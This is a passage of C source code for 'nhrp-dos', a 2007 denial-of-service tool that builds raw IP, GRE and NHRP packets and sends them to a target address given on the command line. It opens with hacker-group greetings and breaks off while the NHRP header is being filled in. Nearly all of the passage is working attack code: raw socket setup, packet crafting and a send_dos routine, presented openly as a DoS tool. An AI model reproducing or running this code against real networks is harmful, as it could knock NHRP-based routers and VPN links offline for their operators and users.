</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                   and #infiniteVOID                                        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/******************************************************************************/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;string.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netdb.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;arpa/inet.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;sys/socket.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;sys/ioctl.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;net/if.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/in.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/in_systm.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/ip.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* BSD */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define _BSD
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* Header sizes */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_HDR_SIZE     20
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define GRE_HDR_SIZE    4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define GRE_KEY_SIZE    4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define NHRP_HDR_SIZE   62
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* Function prototypes */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">open_socket</span> (<span style="color:#66d9ef">void</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">close_socket</span> (<span style="color:#66d9ef">int</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">send_dos</span>(<span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">resolve_ip</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">get_int_ipv4</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Globals */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> sockfd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> nhrp_req_id;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* GRE header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> gre_h {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> flags;   <span style="color:#75715e">/* GRE flags */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ptype;   <span style="color:#75715e">/* GRE protocol type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   key;     <span style="color:#75715e">/* GRE key */</span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> nhrp_h {
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP fixed header (20 bytes) */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> afn;             <span style="color:#75715e">/* NHRP AFN */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> proto;           <span style="color:#75715e">/* NHRP protocol type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   snap;            <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> snapE:<span style="color:#ae81ff">8</span>;         <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> hops:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP hop count */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> length;          <span style="color:#75715e">/* NHRP total length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> checksum;        <span style="color:#75715e">/* NHRP checksum */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> mpoa_ext;        <span style="color:#75715e">/* NHRP MPOA extensions */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> version:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP version */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> type:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> nbma_addr:<span style="color:#ae81ff">8</span>;     <span style="color:#75715e">/* NHRP t/l of NBMA address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> nbma_sub:<span style="color:#ae81ff">8</span>;      <span style="color:#75715e">/* NHRP t/l of NBMA subaddr */</span>
</span></span><span style="display:flex;"><span>} fixed;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP mandatory part */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> src_len:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP src protocol length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> dst_len:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP dest protocol length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> flags;           <span style="color:#75715e">/* NHRP flags */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   request_id;      <span style="color:#75715e">/* NHRP request ID */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_nbma;     <span style="color:#75715e">/* NHRP client NBMA address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_nbma_sub; <span style="color:#75715e">/* NHRP client NBMA subaddr */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_pro_addr; <span style="color:#75715e">/* NHRP client protocol addr */</span>
</span></span><span style="display:flex;"><span>} mand;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP client information entries (CIE) */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> code:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP code */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> pref_len:<span style="color:#ae81ff">8</span>;      <span style="color:#75715e">/* NHRP prefix length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> reserved;        <span style="color:#75715e">/* NHRP reserved */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> mtu;             <span style="color:#75715e">/* NHRP MTU */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> holding_time;    <span style="color:#75715e">/* NHRP holding time */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client:<span style="color:#ae81ff">8</span>;    <span style="color:#75715e">/* NHRP t/l cl addr */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client_sub:<span style="color:#ae81ff">8</span>;<span style="color:#75715e">/* NHRP t/l cl sub */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client_pro:<span style="color:#ae81ff">8</span>;<span style="color:#75715e">/* NHRP t/l cl pro */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> preference:<span style="color:#ae81ff">8</span>;    <span style="color:#75715e">/* NHRP preference */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ext;             <span style="color:#75715e">/* NHRP extension */</span>
</span></span><span style="display:flex;"><span>} cie;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Main function */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span> (<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv) {
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Check command line */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">4</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">nhrp-dos (c) by Martin Kluge &lt;mk@elxsi.de&gt;, 2007</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;------------------------------------------------</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Usage: ./nhrp-dos &lt;device&gt; &lt;target&gt; &lt;GRE key&gt;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;(Set GRE key = 0 to disable GRE keys!)</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Check UID */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">getuid</span>() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">geteuid</span>() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: Please run as root!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open a socket */</span>
</span></span><span style="display:flex;"><span>sockfd <span style="color:#f92672">=</span> <span style="color:#a6e22e">open_socket</span>();
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send DoS packet */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">send_dos</span>(sockfd, <span style="color:#a6e22e">get_int_ipv4</span>(argv[<span style="color:#ae81ff">1</span>]), <span style="color:#a6e22e">resolve_ip</span>(argv[<span style="color:#ae81ff">2</span>]), <span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">3</span>]));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Close the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close_socket</span>(sockfd);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_SUCCESS);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">open_socket</span> (<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> fd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> one <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>ptr <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>one;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open the socket */</span>
</span></span><span style="display:flex;"><span>fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(AF_INET, SOCK_RAW, IPPROTO_UDP);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(fd <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: open_socket: Unable to open socket.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Otherwise it would be done by the kernel. */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">setsockopt</span>(fd, IPPROTO_IP, IP_HDRINCL, ptr, <span style="color:#66d9ef">sizeof</span>(one)) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: open_socket: setsockopt failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifndef _BSD
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">setsockopt</span>(fd, IPPROTO_IP, SO_BROADCAST, ptr, <span style="color:#66d9ef">sizeof</span>(one)) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">&#34;Error: open_socket: setsockopt failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(fd);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Close the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">close_socket</span> (<span style="color:#66d9ef">int</span> fd)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(<span style="color:#a6e22e">close</span>(fd));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Resolve the hostname to IP address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">resolve_ip</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>host)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> in_addr addr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> hostent <span style="color:#f92672">*</span>host_ent;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>((addr.s_addr <span style="color:#f92672">=</span> <span style="color:#a6e22e">inet_addr</span>(host)) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>(host_ent <span style="color:#f92672">=</span> <span style="color:#a6e22e">gethostbyname</span>(host)))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>((<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#f92672">&amp;</span>addr.s_addr, host_ent<span style="color:#f92672">-&gt;</span>h_addr, host_ent<span style="color:#f92672">-&gt;</span>h_length);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(addr.s_addr);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Get IPv4 address of DEVICE */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">get_int_ipv4</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>device)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> tmp_fd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ifreq ifr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> sockaddr_in <span style="color:#f92672">*</span>sin;
</span></span><span style="display:flex;"><span>tmp_fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(PF_INET, SOCK_DGRAM, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(tmp_fd <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: get_int_ipv4: socket failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&amp;</span>ifr, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(ifr));
</span></span><span style="display:flex;"><span>sin <span style="color:#f92672">=</span> (<span style="color:#66d9ef">struct</span> sockaddr_in <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ifr.ifr_addr;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">strncpy</span>(ifr.ifr_name, device, <span style="color:#66d9ef">sizeof</span>(ifr.ifr_name));
</span></span><span style="display:flex;"><span>ifr.ifr_addr.sa_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ioctl</span>(tmp_fd, SIOCGIFADDR, (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ifr) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: get_int_ipv4: ioctl failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close</span>(tmp_fd);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(sin<span style="color:#f92672">-&gt;</span>sin_addr.s_addr);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send NHRP packet */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">send_dos</span> (<span style="color:#66d9ef">int</span> fd, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> src_ip, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> dst_ip,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> gre_key)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ip ip_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ip <span style="color:#f92672">*</span>iphdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> gre_h gre_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> nhrp_h nhrp_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> sockaddr_in sin;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> bytes <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> GRE_SIZE <span style="color:#f92672">=</span> GRE_HDR_SIZE;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Packet buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>buf;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(gre_key<span style="color:#f92672">!=</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>GRE_SIZE<span style="color:#f92672">+=</span>GRE_KEY_SIZE;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Allocate some memory */</span>
</span></span><span style="display:flex;"><span>buf <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(IP_HDR_SIZE<span style="color:#f92672">+</span>GRE_SIZE<span style="color:#f92672">+</span>NHRP_HDR_SIZE);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(buf <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: send_dos: malloc failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Increment NHRP request ID */</span>
</span></span><span style="display:flex;"><span>nhrp_req_id<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* IPv4 Header */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_v             <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* IP version */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_hl            <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>;                    <span style="color:#75715e">/* IP header length */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_tos           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x00</span>;                 <span style="color:#75715e">/* IP ToS */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_len           <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(IP_HDR_SIZE  <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>GRE_SIZE <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>NHRP_HDR_SIZE
</span></span><span style="display:flex;"><span>);                    <span style="color:#75715e">/* IP total length */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_id            <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP identification */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_off           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP frag offset */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_ttl           <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>;                   <span style="color:#75715e">/* IP time to live */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_p             <span style="color:#f92672">=</span> IPPROTO_GRE;          <span style="color:#75715e">/* IP protocol */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_sum           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP checksum */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_src.s_addr    <span style="color:#f92672">=</span> src_ip;               <span style="color:#75715e">/* IP source */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_dst.s_addr    <span style="color:#f92672">=</span> dst_ip;               <span style="color:#75715e">/* IP destination */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* GRE header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(gre_key <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>gre_hdr.flags   <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x2000</span>);        <span style="color:#75715e">/* GRE flags */</span>
</span></span><span style="display:flex;"><span>gre_hdr.key     <span style="color:#f92672">=</span> <span style="color:#a6e22e">htonl</span>(gre_key);       <span style="color:#75715e">/* GRE key */</span>
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>gre_hdr.flags   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>gre_hdr.ptype           <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x2001</span>);        <span style="color:#75715e">/* GRE type (NHRP) */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP fixed header */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.afn      <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0001</span>);        <span style="color:#75715e">/* NHRP AFN */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.proto    <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0800</span>);        <span style="color:#75715e">/* NHRP protocol type */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.snap     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.snapE    <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP SNAP */</span>
